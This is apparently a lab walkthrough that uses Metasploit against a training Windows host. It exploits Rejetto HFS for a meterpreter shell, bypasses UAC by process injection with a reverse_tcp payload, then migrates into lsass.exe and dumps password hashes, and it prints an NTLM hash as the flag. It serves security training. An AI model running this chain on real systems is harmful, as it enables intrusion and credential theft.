
 

 



 

 
Important Note: This document illustrates all the important steps required to complete this lab.              
This is by no means a comprehensive step-by-step solution for this exercise. This is only               
provided as a reference to various commands needed to complete this exercise and for your               
further research on this topic. Also, note that the IP addresses and domain names might be                
different in your lab.  
 
Step 1: ​Checking the target IP address. 
 
Note: ​The target IP address is stored in the “target” file. 
 
Command: ​cat /root/Desktop/target 
 

 
 
Step 2:​ Run a Nmap scan against the target IP. 
 
Command: ​nmap 10.0.23.239 
 
 
 
 
 
 
 
 
 
 
 
 
 

Name Metasploit: UAC Bypass: Memory Injection 

URL https://attackdefense.com/challengedetails?cid=2210  

Type Advance Privilege Escalation: Windows: UAC Bypass 

https://attackdefense.com/challengedetails?cid=2210


 

 
 
Step 3: ​We have discovered that multiple ports are open. We will run Nmap again to determine 
version information on port 80.  
 
Command: ​nmap -sV -p 80 10.0.23.239 
 

 
 
Step 4: ​We will search the exploit module for hfs file server using searchsploit. 
 
Command: ​searchsploit hfs 
 
 



 

 
 
Step 5: ​Rejetto HTTP File Server (HFS) 2.3 is vulnerable to RCE. Exploiting the target server 
using the Metasploit framework. 
 
Commands: 
msfconsole -q 
use exploit/windows/http/rejetto_hfs_exec 
set RHOSTS 10.0.23.239 
exploit 
 
 
 
 
 
 
 
 
 
 
 
 



 

 
 
We have successfully exploited the target vulnerable application (hfs) and received a 
meterpreter shell.  
 
Step 6: ​Checking the current user. 
 
Commands: 
getuid 
sysinfo 
 

 
 
 
 



 
Step 7: ​We can observe that we are running as an admin user. Migrate the process in 
explorer.exe. First, search for the PID of explorer.exe and use the migrate command to migrate 
the current process to that explorer process. 
 
Commands: 
ps -S explorer.exe 
migrate 2440 
 
Please note​ the explorer.exe arch is ​x64​ bit so later when we perform UAC bypass, we have to 
use x64 based meterpreter payload. 
 

 
 
Step 8: ​Elevate to the high privilege. 
 
Command: ​getsystem 
 

 
 
We can observe that we do not have permission to elevate privileges. 
 
Step 9: ​Get a windows shell and check if the admin user is a member of the Administrators 
group. 



 
Commands: 
shell 
net localgroup administrators 
 

 
 
The admin user is a member of the Administrators group. However, we do not have the high 
privilege as of now. We can gain high privilege by Bypassing ​UAC​ (User Account Control) 
 
We are going to bypass UAC using the Metasploit local exploit module. 
 
“​This module will bypass Windows UAC by utilizing the trusted publisher certificate through 
process injection. It will spawn a second shell that has the UAC flag turned off. This module 
uses the Reflective DLL Injection technique to drop only the DLL payload binary instead of three 
separate binaries in the standard technique. However, it requires the correct architecture to be 
selected, (use x64 for SYSWOW64 systems also). If specifying EXE::Custom your DLL should 
call ExitProcess() after starting your payload in a separate process.​” 
 
Source:​ ​https://www.rapid7.com/db/modules/exploit/windows/local/bypassuac_injection/  
 
Step 10: ​Background the current session and use the local exploit for UAC bypass. 
 
Commands: ​CTRL + C 
background 

https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/how-user-account-control-works
https://www.rapid7.com/db/modules/exploit/windows/local/bypassuac_injection/


 

 
 
Step 11:​ Run UAC Bypass In-Memory Injection module. 
 
Commands: 
use exploit/windows/local/bypassuac_injection 
set session 1 
set TARGET 1 
set PAYLOAD windows/x64/meterpreter/reverse_tcp 
exploit 
 

 
 
Step 12: ​Elevate to the high privilege  
 
Commands: 
getsystem 
getuid 



 

 
 
We have successfully gained high privilege access. Dump the user hashes. 
 
Step 13:​ Migrate in lsass.exe process  
 
Commands: 
ps -S lsass.exe 
migrate 688 
 

 
 
Step 14: ​Dump the hashes. 
 
Command: ​hashdump 
 

 
 
This reveals the flag to us. 
 



 
Administrator NTLM Hash: ​f168d9f8e6c5b893b8c4dfa202228235 
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